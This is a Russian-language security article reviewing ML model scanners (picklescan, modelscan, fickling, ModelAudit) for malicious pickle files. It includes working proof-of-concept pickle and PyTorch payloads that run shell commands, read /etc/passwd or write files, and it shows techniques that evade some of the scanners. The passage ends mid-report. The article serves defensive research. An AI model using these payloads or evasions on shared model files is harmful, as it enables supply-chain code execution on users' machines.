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Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок

Содержание

О каких сканерах идет речь

Форматы хранения моделей машинного обучения

Подробнее про Pickle

Сканеры моделей

picklescan
modelscan
fickling
ModelAudit

Способы обхода сканеров

Обход проверок через использование функций «оберток»
Использование форматов, расширяющих функционал Pickle

Выводы

Не у всех нас имеется достаточное количество ресурсов (вычислительных, умственных и других) для проектирования и обучения ML-моделей с нуля. Поэтому кажется логичным взять уже готовые модели — к счастью, за нас многое уже сделано. Для понимания масштаба: на одном только HF (репозиторий Hugging Face) уже доступно для скачивания более двух миллионов моделей.

Не все они были загружены авторитетными компаниями или экспертами, не все имеют десятки тысяч скачиваний в сутки. Даже изначально легитимные открытые репозитории могут оказаться источником риска. Компания Mitiga недавно поделилась статистикой о проценте репозиториев в мире ML, содержащих уязвимости критического или высокого уровня опасности в GitHub Actions Workflows.

Иллюстрация результатов сканирования файлов в случайном репозитории Hugging Face

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО, прохожу практику в лаборатории ITMO AI Security Lab и работаю в Positive Technologies в отделе экспертизы MaxPatrol VM. В этой статье я расскажу о том, какие существуют инструменты для проверки ML-моделей, как они сканируют артефакты различных ML-фреймворков, о том, какой еще функционал заложен в них. А в финале несколькими способами попробуем обойти проверки рассматриваемых инструментов.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.

О каких сканерах идет речь

Компания OWASP в своем топе угроз Top 10 for LLM упоминает риск отравления данных или моделей в нескольких главах: «LLM03:2025 Supply Chain» и «LLM04: Data and Model Poisoning». Упомянутый документ ссылается на следующую модель угроз для LLM:

Угрозы в цепочке поставок для систем, использующих LLM – источник

Инструменты, описанные в статье, помогают снизить риски, связанные с загрузкой отравленных моделей и данных (T05 и T06 в таблице угроз на рисунке), за счет проверки содержимого артефактов хранения моделей машинного обучения.

Форматы хранения моделей машинного обучения

Хочется сказать просто – их много.

Чтобы увидеть полную картину, можно заглянуть в репозиторий trailofbits/ml-file-formats – в нем приведен список более 50 форматов, хотя сам он не обновлялся уже более года.

Останавливаться на разборе каждого из форматов не будем – это выходит за рамки статьи, стоит отметить, что основной угрозой являются форматы, при загрузке допускающие выполнение кода, который можно заранее в них внедрить. Чаще всего в контексте этого говорится об артефактах протокола сериализации Pickle (файлы имеют расширение .pkl) и о тех, которые базируются на нем, например:

фреймворк PyTorch использует форматы хранения .pt, .pth, .ckpt, .bin, которые представляют собой архивированные pickle-объекты
библиотека Joblib оперирует своим расширением .joblib, но внутри по-прежнему pickle-объекты, но поверх него добавлен свой слой логики и формат хранения
NumPy - внутри .npy, .npz снова используются объекты формата pickle

Хороший пример приоритезации форматов хранения моделей по уровню риска от их использования представлен в документации сканера modelaudit.

Подробнее про Pickle

В качестве основного подопытного формата сериализации для статьи был выбран Pickle по нескольким причинам: во-первых, как уже отмечалось, многие популярные фреймворки из мира ML используют Pickle внутри своих форматов хранения; во-вторых, при помощи Pickle не составляет большого труда собрать такой файл, который выполнит произвольный код при десериализации – это повышает важность сканирования Pickle-файлов и упрощает эксперименты.

Итак, Pickle – протокол для сериализации и десериализации объектов Python, в контексте Pickle часто используются термины «pickling» – процесс конвертации объекта в байтовый поток, а через «unpickling» обозначается обратная операция.

Какие типы данных можно «пиклить»: встроенные константы, числа, строки, байты и их массивы, картежи, списки, словари; с некоторыми ограничениями – функции, классы и их экземпляры. Подробнее можно почитать в документации.

Пример сериализации и десериализации:

import pickle

pickled = pickle.dumps(['for', 'pickling', 'test'])
unpickled = pickle.loads(pickled)

print(f"pickled: '{pickled}'")
print(f"unpickled: '{unpickled}'")

>>> pickled: 'b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x03for\x94\x8c\x08pickling\x94\x8c\x04test\x94e.''
>>> unpickled: '['for', 'pickling', 'test']'

Следует учитывать, что результатом pickling является сохраненный в памяти специфическим образом закодированный набор операций для восстановления оригинальной структуры объекта вместе с исходными данными.

В большинстве случаев нет необходимости вмешиваться в процессы сериализации и обратного преобразования, но такая возможность заложена в Pickle. Например, метод __reduce__ позволяет в процессе десериализации обратиться к вызываемому объекту (callable object) и передать в него аргументы.

Простейший пример использования __reduce__ c полезной нагрузкой в виде записи в произвольные файлы на системе приведен ниже:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    data = pickle.load(f)

Почитать про опасность использования Pickle можно в следующих статьях:

Сканеры моделей

Как уже отмечалось, при загрузке файлов в репозитории Hugging Face выполняются проверки этих файлов, в том числе и статическими сканерами моделей ИИ (HF для этого использует встроенный сканер JFrog, modelscan от Protect AI и собственный инструмент под названием picklescan).

В этой части статьи приводится обзор основных на сегодняшний день статических сканеров моделей ИИ с открытым исходным кодом:

picklescan
modelscan
fickling
ModelAudit

picklescan

Репозиторий: https://github.com/mmaitre314/picklescan

Примитивный сканер, разрабатываемый Hugging Face, логика его работы основана на применении паттерновых проверок для названий загружаемых модулей. Очевидно, что невозможно разработать проверки для всех возможных модулей (на текущий момент к опасным отнесено около 70 глобальных имен, это определено переменной _unsafe_globals в файле scanner.py), которые могут использоваться во вредоносных целях, поэтому эффективность сканера весьма ограничена.

На вход принимает файлы в форматах:

numpy: ".npy"
pytorch: ".bin", ".pt", ".pth", ".ckpt"
pickle: ".pkl", ".pickle", ".joblib", ".dat", ".data"
zip: ".zip", ".npz", ".7z"

Для файлов всех форматов применяется единая логика:

Внутри файла или архива происходит поиск данных, сериализованных по протоколу Pickle
Из найденных данных извлекаются глобальные имена (_list_globals)
Если какое-то глобальное имя совпадает с паттерном из _unsafe_globals, то глобальное имя сохраняется в список сработок с уровнем опасности SafetyLevel.Dangerous
В случае если обрабатываемое глобальное имя не попадает ни под один из фильтров (safe_filter или unsafe_filter), то оно добавляется в список сработок с отдельным уровнем опасности SafetyLevel.Suspicious (другие уровни: Innocuous, Dangerous)

Посмотрим на работу picklescan на практике, для этого при помощи следующего кода создадим пример «зловреда», позволяющего производить запись в произвольные файлы на системе во время десериализации:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    pickle.load(f)

Отчет picklescan о результате проверки «exploit_os_system.pkl»:

$ picklescan --globals --path .\exploit_os_system.pkl
\...\exploit_os_system.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Dangerous globals: 1
All globals found:
  * posix.system - dangerous

Другие интересные моменты, связанные с использованием picklescan:

Документация ограничена файлом README
Доступно сканирование файлов в удаленных репозиториях HuggingFace
Для сканера задокументированы коды завершения (exit codes)
- 0: scan did not find malware
- 1: scan found malware
- 2: scan failed
Флаг -g/--globals позволяет выводить полученные глобальные имена из сканируемого файла

modelscan

Репозиторий: https://github.com/protectai/modelscan

Инструмент компании Protect AI поддерживает проверку артефактов фреймворков PyTorch, TensorFlow, Keras, Sklearn и XGBoost. Принцип работы прост: получая на вход путь к директории или файлу, формируется список артефактов для проверки, к каждому из них применяется проверка всеми сканерами.

Рассмотрим механику работы некоторых встроенных сканеров.

Сканирование артефактов Pickle при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L72

Получение из файла всех глобальных имен
Сопоставление со словарём потенциально опасных импортов, стоит отметить, что сам словарь довольно компактен (/modelscan/settings.py#L94)
Если какое-то глобальное имя, полученное из анализируемого файла, совпало с одним из _unsafe_globals , то сработка сохраняется для формирования итогового отчета.

Сканирование артефактов Pytorch при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L17

Изначально казалось, что нет смысла отдельно разбирать процесс сканирования артефактов фреймворка Pytorch, ведь, наверное, здесь все аналогично picklescan — если встретили архив, то распаковываем его и ищем интересные для сканирования файлы. Однако интуиция подвела — если файл имеет расширение, к примеру, .pth и представляет собой zip-архив, то его сканирование просто пропускается.

Данная логика реализована в файле /modelscan/scanners/pickle/scan.py, ниже представлена его часть:

class PyTorchUnsafeOpScan(ScanBase):
    def scan(
        self,
        model: Model,
    ) -> Optional[ScanResults]:
        if SupportedModelFormats.PYTORCH.value not in [
            format_property.value for format_property in model.get_context("formats")
        ]:
            return None
        
        # ПРОПУСКАЕМ АРХИВ 
        if _is_zipfile(model.get_source(), model.get_stream()):
            return None

        results = scan_pytorch(
            model=model,
            settings=self._settings,
        )

        return self.label_results(results)

Приведенный ниже скрипт создает файл .pth с полезной нагрузкой для вывода первых трех строк файла /etc/passwd на хосте в процессе десериализации:

import torch
import dill

def run_cmd(cmd):
    import builtins
    module = getattr(builtins, '__import__')('os')
    getattr(module, 'system')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("cat /etc/passwd | head -3",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Скрипт собирает артефакт malicious.pth, попробуем загрузить его:

>>> import torch
>>> import dill
>>> torch.load('malicious.pth', pickle_module=dill)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
{'model': Linear(in_features=1, out_features=1, bias=True), 'exploit': None}

Как видно, полезная нагрузка работает. Теперь просканируем файл malicious.pth при помощи modelscan:

$ modelscan scan -p malicious.pth
No settings file detected at .../torch_not_obfuscated/modelscan-settings.toml. Using defaults. 

Scanning .../torch_not_obfuscated/malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---
 No issues found! 🎉
--- Skipped --- 

Total skipped: 7 - run with --show-skipped to see the full list.

Согласно отчету, инструмент в процессе работы определил, что внутри архива существует файл data.pkl, но обработал это благодаря модулю PickleUnsafeOpScan, а специфичный для PyTorch модуль сработку не выдал.

Данный пример подсвечивает необходимость практического исследования возможностей таких сканеров перед внедрением в промышленную эксплуатацию, не основываясь только на декларируемых возможностях в описаниях проектов.

fickling

Репозиторий: https://github.com/trailofbits/fickling

Подписания инструмента из README проекта:

Fickling — это декомпилятор, статический анализатор и «bytecode rewriter» для сериализованных объектов Python в формате pickle. С помощью Fickling вы можете обнаруживать, анализировать, проводить реверс-инжиниринг или даже создавать зловредные файлы pickle или файлы, основанные на pickle, включая форматы PyTorch.
Сериализованные объекты Python на самом деле представляют собой байткод, который интерпретируется встроенной в Python «stack-based virtual machine» под названием «Pickle Machine». Fickling может принимать потоки данных pickle и декомпилировать их в читабельный Python-код, который при выполнении десериализует объект в исходный сериализованный вид. Это стало возможным благодаря кастомной реализации «Pickle Machine» в Fickling. Fickling безопасен для запуска на потенциально вредоносных файлах, поскольку его PM выполняет код символически, без его запуска напрямую.

Советую самостоятельно изучить README, в нем описаны и другие фичи продукта, в число которых входит:

использование сканера как фильтра загружаемых кодом моделей через хуки
распознание, валидация и создание файлов-полиглотов на базе разных версий форматов хранения PyTorch.

Практическое знакомство с инструментом предлагаю начать с чего-то экзотического — с чего-то такого, что не смогли продемонстрировать рассмотренные ранее сканеры. Возможность трейсирования виртуальной машины Pickle подходит для этого.

Чаще всего для статического анализа файлов pickle используется встроенный в стандартную библиотеку Python дизассемблер под названием pickletools (например, уже упоминавшийся сканер «picklescan» в процессе своей работы использует именно pickletools — /picklescan/scanner.py#L256).

Далее проанализируем разбор уже упоминавшегося примера зловредного pickle-файла силами fickling --trace в сравнении с pickletools.

спойлер

Код сборки «зловредного» pickle:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    pickle.load(f)

Отчет pickletools (флаг -a добавляет аннотации, кратко описывающие каждый опкод):

  $ python -m pickletools -a exploit_os_system.pkl
    0: \x80 PROTO      4              Protocol version indicator.
    2: \x95 FRAME      57             Indicate the beginning of a new frame.
   11: ]    EMPTY_LIST                Push an empty list.
   12: \x94 MEMOIZE    (as 0)         Store the stack top into the memo.  The stack is not popped.
   13: \x8c SHORT_BINUNICODE 'posix'  Push a Python Unicode string object.
   20: \x94 MEMOIZE    (as 1)         Store the stack top into the memo.  The stack is not popped.
   21: \x8c SHORT_BINUNICODE 'system' Push a Python Unicode string object.
   29: \x94 MEMOIZE    (as 2)         Store the stack top into the memo.  The stack is not popped.
   30: \x93 STACK_GLOBAL              Push a global object (module.attr) on the stack.
   31: \x94 MEMOIZE    (as 3)         Store the stack top into the memo.  The stack is not popped.
   32: \x8c SHORT_BINUNICODE 'echo "HACKED" > /tmp/hacked' Push a Python Unicode string object.
   61: \x94 MEMOIZE    (as 4)         Store the stack top into the memo.  The stack is not popped.
   62: \x85 TUPLE1                    Build a one-tuple out of the topmost item on the stack.
   63: \x94 MEMOIZE    (as 5)         Store the stack top into the memo.  The stack is not popped.
   64: R    REDUCE                    Push an object built from a callable and an argument tuple.
   65: \x94 MEMOIZE    (as 6)         Store the stack top into the memo.  The stack is not popped.
   66: a    APPEND                    Append an object to a list.
   67: .    STOP                      Stop the unpickling machine.
highest protocol among opcodes = 4

Отчет fickling --trace:

$ fickling --trace .\exploit_os_system.pkl
PROTO
FRAME
EMPTY_LIST
        Pushed []
MEMOIZE
        Memoized 0 -> []
SHORT_BINUNICODE
        Pushed 'posix'
MEMOIZE
        Memoized 1 -> 'posix'
SHORT_BINUNICODE
        Pushed 'system'
MEMOIZE
        Memoized 2 -> 'system'
STACK_GLOBAL
        from posix import system
        Popped 'system'
        Popped 'posix'
        Pushed system
MEMOIZE
        Memoized 3 -> system
SHORT_BINUNICODE
        Pushed 'echo "HACKED" > /tmp/hacked'
MEMOIZE
        Memoized 4 -> 'echo "HACKED" > /tmp/hacked'
TUPLE1
        Popped 'echo "HACKED" > /tmp/hacked'
        Pushed ('echo "HACKED" > /tmp/hacked',)
MEMOIZE
        Memoized 5 -> ('echo "HACKED" > /tmp/hacked',)
REDUCE
        _var0 = system('echo "HACKED" > /tmp/hacked')
        Popped ('echo "HACKED" > /tmp/hacked',)
        Popped system
        Pushed _var0
MEMOIZE
        Memoized 6 -> _var0
APPEND
        Popped _var0
STOP
        result0 = [_var0]
        Popped [_var0]

from posix import system
_var0 = system('echo "HACKED" > /tmp/hacked')
result0 = [_var0]

В отчете Fickling помимо вывода последовательности символическего выполнения кода, демонстрируется еще и более человекочитаемый формат представления данных внутри Pickle – в виде кода на Python. Благодаря такому декомпилированию fickling --trace выигрывает в сравнении с pickletools в интерпретируемости результата.

Рассмотрев трассировку ВМ Pickle, вернёмся к проверке файлов на наличие «зловреда». Стоит отметить, что данный инструмент поддерживает проверку только тех данных, которые сериализованы по протоколу Pickle.

Сканирование происходит по следующему алгоритму:

Загрузка файла и его парсинг
Основная функциональность на данном шаге представлена в методе load класса Pickled в файле /fickling/fickle.py#L766, в нем реализован цикл прохода по всем опкодам анализируемого pickle-файла, для каждого опкода инструмент собирает следующий набор данных:
1. info – объект класса OpcodeInfo, в себя включает атрибуты, обозначающие имя и код опкода, аргумент, состояние стека до и после выполнения опкода, версия протокола Pickle в которой был добавлен опкод, человекочитаемое описание для опкода
2. argument – аргумент опкода
3. data – сырые байты опкода, включающие его код и аргумент (если есть)
4. position – позиция опкода
Проверка загруженных данных несколькими анализаторами
На момент написания статьи в сканере используется восемь анализаторов (/fickling/analysis.py). Рассмотрим предназначение каждого из них:
1. DuplicateProtoAnalysis – обнаруживает дублирующиеся опкоды PROTO, что нетипично для легитимных pickle-файлов и может указывать на модификацию;
2. MisplacedProtoAnalysis – проверяет, что PROTO опкод находится в начале файла (требование для версий ≥2), нарушение может быть признаком подделки;
3. NonStandardImports – выявляет импорты модулей, не входящих в стандартную библиотеку Python, что потенциально опасно;
4. UnsafeImportsML – детектирует импорты известных опасных модулей (os, subprocess, builtins) и функций (eval, torch.load), используя предопределённый список угроз;
5. BadCalls – ищет прямые вызовы критически опасных функций (exec, eval, compile, open);
6. OvertlyBadEvals – анализирует все вызовы функций (кроме setstate), выявляя явно вредоносные (eval, exec) и потенциально небезопасные вызовы;
7. UnsafeImports – использует метод pickled.unsafe_imports() для поиска подозрительных импортов из базового набора опасных модулей;
8. UnusedVariables – находит переменные, которым присвоены значения, но они нигде не используются; такое поведение подозрительно и может скрывать вредоносный код.
Сохранение результата

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl:

$ fickling --check-safety .\...\exploit_os_system.pkl
$ cat safety_results.json 
{
    "severity": "LIKELY_OVERTLY_MALICIOUS",
    "analysis": "`from posix import system` uses `posix` that is indicative of a malicious pickle file. This module contains functions that can perform system operations and execute arbitrary code.\n`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "UnsafeImportsML": "from posix import system",
            "UnsafeImports": "from posix import system",
            "UnusedVariables": [
                "_var0",
                "system(...)"
            ]
        }
    }
}

Подготовленный «зловред» получил почти максимальную оценку опасности – Likely Overtly Malicious, список всех severity-меток представлен ниже (/fickling/analysis.py#L69):

class Severity(Enum):
    LIKELY_SAFE = (0, "No Unsafe Operations Discovered")
    POSSIBLY_UNSAFE = (1, "Possibly Unsafe")
    SUSPICIOUS = (2, "Suspicious")
    LIKELY_UNSAFE = (3, "Likely Unsafe")
    LIKELY_OVERTLY_MALICIOUS = (4, "Likely Overtly Malicious")
    OVERTLY_MALICIOUS = (5, "Overtly Malicious")

Вывод по Fickling:
Инструмент представляет собой интересное решение, включающее проверки, отсутствующие у ранее рассмотренных сканерах. Его логика основана на собственной реализации виртуальной машины Pickle, а функциональность выходит за рамки сканирования файлов.

ModelAudit

Обзор сканеров завершает ModelAudit, являющийся компонентом более объемного инструмента для тестирования приложений на базе LLM под названием promptfoo.

Среди прочих сканеров ModelAudit сразу выделяется документацией – удивляет не только ее наличие, но и ее объем и качество. Ссылки на документацию:

На данный момент сканер поддерживает работу с артефактами следующих фреймворков и расширений:
PyTorch (.pt, .pth, .bin), TensorFlow SavedModel (.pb, directories), TensorFlow Lite (.tflite), TensorRT (.engine, .plan), Keras (.h5, .keras, .hdf5), ONNX (.onnx), SafeTensors (.safetensors), GGUF/GGML (.gguf, .ggml, .ggmf, .ggjt, .ggla, .ggsa), Flax/JAX (.msgpack, .flax, .orbax, .jax), JAX Checkpoints (.ckpt, .checkpoint, .orbax-checkpoint), Pickle (.pkl, .pickle, .dill), Joblib (.joblib), NumPy (.npy, .npz), PMML (.pmml), ZIP Archives (.zip), Container Manifests (.manifest), Binary Files (.bin)

Ознакомиться с тем, какие проверки выполняются для каждого формата, можно в документации на странице ModelAudit Scanners.

В ходе валидации файла сканер выполняет разные проверки для поиска проблем безопасности, ниже представлены некоторые из них:

Malicious Code: Обнаружение потенциально опасного кода в pickled-моделях
Suspicious Operations: Идентификация рискованных операций TensorFlow и пользовательских операторов ONNX
Unsafe Layers: Поиск потенциально небезопасных слоёв Keras Lambda
Blacklisted Names: Проверка моделей с именами, совпадающими с подозрительными шаблонами
Dangerous Serialization: Обнаружение небезопасных pickle-операций, вложенных pickle-объектов и цепочек «decode-exec»
Enhanced Dill/Joblib Security: Расширенное ML-сканирование с проверкой формата и защитой от обхода ограничений
Encoded Payloads: Поиск подозрительных строк, которые могут указывать на скрытый код
Risky Configurations: Обнаружение опасных настроек в архитектуре моделей
XML Security: Обнаружение XXE-атак и вредоносного содержимого в PMML-файлах
Embedded Executables: Поиск встроенных исполняемых файлов (Windows PE, Linux ELF, macOS Mach-O)
Container Security: Сканирование файлов моделей внутри контейнерных слоёв OCI/Docker
Compression Attacks: Обнаружение zip-бомб и атак, связанных с распаковкой
Weight Anomalies: Статистический анализ для выявления потенциальных бэкдоров
Format Integrity: Проверка целостности структуры файлового формата
License Compliance: Обнаружение ограничений лицензий (например, AGPL) и коммерческих ограничений
DVC Integration: Автоматическое определение и сканирование моделей, отслеживаемых через DVC
Secrets Detection: Поиск встроенных API-ключей, токенов и учётных данных
Network Analysis: Обнаружение URL, IP и сетевого взаимодействия, которое может привести к утечке данных
JIT Code Detection: Сканирование TorchScript, пользовательских операций ONNX и другого JIT-компилированного кода

На момент написания статьи github репозиторий modelaudit при обращении выдает ошибку и является недоступным. Но для просмотра исходного кода достаточно установить modelaudit при помощи pip install modelaudit[all] и далее найти директорию Lib\site-packages\modelaudit\ внутри активного виртуального окружения Python, в ней находятся все исходники.

Кодовая база инструмента имеет следующую структуру (взято из карточки проекта на портале PyPI):

modelaudit/
├── scanners/         # 29 specialized file format scanners
│   ├── pickle_scanner.py, pytorch_*.py, onnx_scanner.py, etc.
│   └── base.py - BaseScanner class with shared functionality
│
├── detectors/        # Security threat detection modules
│   ├── cve_patterns.py - Known CVE patterns (CVE-2025-32434, etc.)
│   ├── secrets.py - API keys, tokens, credentials
│   ├── jit_script.py - JIT/TorchScript malicious code
│   ├── network_comm.py - URLs, IPs, sockets
│   └── suspicious_symbols.py - Dangerous function calls
│
├── integrations/     # External system integrations
│   ├── jfrog.py - JFrog Artifactory support
│   ├── mlflow.py - MLflow registry support
│   ├── sbom_generator.py - CycloneDX SBOM generation
│   ├── sarif_formatter.py - SARIF output format
│   └── license_checker.py - License compliance
│
├── analysis/         # Advanced analysis algorithms
│   ├── anomaly_detector.py, entropy_analyzer.py
│   └── ml_context_analyzer.py - Context-aware analysis
│
├── utils/
│   ├── file/         # File handling (detection, filtering, streaming)
│   ├── sources/      # Model sources (HuggingFace, cloud, JFrog, DVC)
│   └── helpers/      # Generic utilities (retry, caching, etc.)
│
├── cache/            # Caching system for scan results
├── auth/             # Authentication for remote sources
├── progress/         # Progress tracking and UI
│
├── core.py           # Main scanning orchestration
└── cli.py            # Command-line interface

Другие особенности инструмента:

При установке в связке с promptfoo имеет графический интерфейс
Поддерживает сканирование артефактов из удаленных источников (HuggingFace Hub, Amazon S3, Google Cloud Storage и другие), полный список поддерживаемых источников - ссылка
Подходит для интеграции в пайплайны CI/CD, имеет задокументированные коды завершения (exit codes) - ссылка):
- 0: No security issues found
- 1: Security issues detected (warnings or critical)
- 2: Scan errors occurred (installation, file access, etc.)
Из коробки имеет несколько способов установки – при помощи пакетных менеджеров pip и npm или через Docker-контейнер

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl. Отчет modelaudit.

$ modelaudit scan --format json --output .\exploit_os_system.pkl.json  .\exploit_os_system.pkl
...
$ cat .\exploit_os_system.pkl.json
{
  "bytes_scanned": 68,
  "issues": [
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
      "details": {
        "module": "posix",
        "function": "system",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.0
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1766475716.6643486,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: posix.system. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 64)",
      "details": {
        "position": 64,
        "opcode": "REDUCE",
        "associated_global": "posix.system",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.0
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766475716.6649423,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious module reference found: posix.system",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 30)",
      "details": {
        "module": "posix",
        "function": "system",
        "position": 30,
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.0
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1766475716.66521,
      "type": "pickle_check"
    }
  ],
  "checks": [
    {
     < СОКРАЩЕНО >
    }
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
      "type": "pickle",
      "size": 68
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl": {
      "file_size": 68,
      "file_hashes": {
        "md5": "0ad312bd0babad43c4f2ee8aa2f35c43",
        "sha256": "c8f2b14c6720cea42c0e08f545a05d23a3555eeac42a6574930768d3046f33d4",
        "sha512": "5a898e9c8e4db44782857a72c75da2c1809bbe9aade607d1f29aee8fd6c0c1404b5259918a7d469b36c3f7dffe2051e79383b1cf62d66b97361c1698d1878a29"
      },
      "max_stack_depth": 0,
      "opcode_count": 18,
      "suspicious_count": 2,
      "ml_context": {
        "frameworks": {},
        "overall_confidence": 0.0,
        "is_ml_content": false,
        "detected_patterns": [],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": true,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766475716.6656933
    }
  },
  "content_hash": "b7898899d10ccf40e66c39c9cf565d818295fa2db01e8b3100512940a4795129",
  "start_time": 1766475716.5934618,
  "duration": 0.07524228096008301,
  "total_checks": 16,
  "passed_checks": 13,
  "failed_checks": 3,
  "success": true
}

Вывод по ModelAudit:
Данный сканер имеет самое широкое покрытие разных форматов моделей машинного обучения и для каждого из форматов применяет проверки разных типов. Для инструмента написана подробная документация и подготовлено несколько способов его установки. Среди обозреваемых сканеров именно ModelAudit показался мне самым зрелым инструментом.

Способы обхода сканеров

Сканеров много, разных проверок внутри них еще больше, теперь посмотрим, так ли сложно их обойти, используя для этого разные техники.

Обход проверок через использование функций «оберток»

Некоторые сканеры в качестве основного механизма проверки модели используют простую логику – вытягивают из файла список глобальных имен и сверяют его с заранее заготовленным списком потенциально опасных модулей и функций. Очевидно, что злоумышленник может найти такой модуль, который не помечен как опасный, и в процессе своей работы сам выполняет интересный для злоумышленника функционал или вызывает для выполнения опасную функцию (например, для работы с файлом вызывает встроенную в Python функцию open).

У этого способа есть ограничение – в окружении, в котором загружается pickle-файл, должен быть доступен объект, на который ссылается __reduce__ в своем return.

Итак, PoC сборки pickle файла, который в процессе загрузки производит запись в файл "/tmp/hacked.npy":

import pickle
import random
import numpy as np

tabular_data = [
    {
        "id": i,
        "name": f"Item-{i}",
        "value": random.randint(1, 100),
        "category": random.choice(['A', 'B', 'C'])
    }
    for i in range(1, 6)
]

class Malicious:
    def __reduce__(self):
	    # ASCII для "HACKED\n"
        data = np.array([72, 65, 67, 75, 69, 68, 10], dtype=np.uint8)  
        return (
            np.save,
            ('/tmp/hacked.npy', data)
        )

malicious_payload = Malicious()

with open('bypass_numpy.pkl', 'wb') as f:
    pickle.dump([tabular_data, malicious_payload], f)

Код загрузки собранного файла:

import pickle

with open('bypass_numpy.pkl', 'rb') as f:
    data = pickle.load(f)

print("Loaded data:")
print(data)

Загрузка "bypass_numpy.pkl" в окружении с установленным numpy:

(ai_venv) $ pip show numpy | grep Version:
Version: 2.3.5
(ai_venv) $ rm /tmp/hacked.npy 
rm: cannot remove '/tmp/hacked.npy': No such file or directory

(ai_venv) $ python load.py 
Loaded data:
[[{'id': 1, 'name': 'Item-1', 'value': 98, 'category': 'A'}, {'id': 2, 'name': 'Item-2', 'value': 85, 'category': 'B'}, {'id': 3, 'name': 'Item-3', 'value': 18, 'category': 'B'}, {'id': 4, 'name': 'Item-4', 'value': 41, 'category': 'C'}, {'id': 5, 'name': 'Item-5', 'value': 43, 'category': 'A'}], None]
(ai_venv) $ cat /tmp/hacked.npy 
�NUMPYv{'descr': '|u1', 'fortran_order': False, 'shape': (7,), }
HACKED

Сводка проверок собранного "bypass_numpy.pkl" всеми сканерами (отчеты сканеров представлены ниже):

Сканер	Найдены ли проблемы	Уровень опасности	Обозначения сработавших проверок
picklescan	❌
modelscan	❌
fickling	✅	LIKELY_UNSAFE	`NonStandardImports`, `UnusedVariables`
modelaudit	✅	warning, info	`Found REDUCE opcode with nonallowlisted global:_reconstruct.ndarray ...` ; `STACK_GLOBAL opcode found without sufficient string context`

Отчет picklescan:

$ picklescan -p .\bypass_numpy.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0

Отчет modelscan:

$ modelscan -p bypass_numpy.pkl 
No settings file detected at /.../modelscan-settings.toml. Using defaults.

Scanning /.../bypass_numpy.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---
 No issues found! 🎉

Отчет fickling:

{
    "severity": "LIKELY_UNSAFE",
